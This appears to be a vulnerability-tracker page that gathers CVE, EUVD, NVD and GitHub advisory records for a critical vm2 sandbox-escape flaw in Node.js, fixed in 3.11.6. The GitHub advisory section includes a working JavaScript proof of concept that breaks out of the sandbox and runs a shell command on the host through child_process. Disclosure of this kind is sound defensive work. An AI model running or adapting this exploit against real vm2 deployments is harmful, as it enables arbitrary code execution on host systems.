vm2: Sandbox Breakout Using Dangerous Host Proto Mutators

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.

Source published

17 Aug 2026 20:53:09 UTC

Source modified

19 Aug 2026 03:56:02 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.

Source published

Aug 17, 2026, 8:53:09 PM (timezone not stated)

Source modified

Aug 19, 2026, 3:56:02 AM (timezone not stated)

Observed here

7 Nov 2026 11:27:52 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.

Source published

17 Aug 2026 21:16:45 UTC

Source modified

23 Oct 2026 16:10:00 UTC

Observed here

25 Oct 2026 12:17:26 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous. ### PoC ```js const {VM} = require("."); const vm = new VM(); console.log(vm.run(` const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } } f(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Source published

17 Aug 2026 17:32:41 UTC

Source modified

17 Aug 2026 17:56:03 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL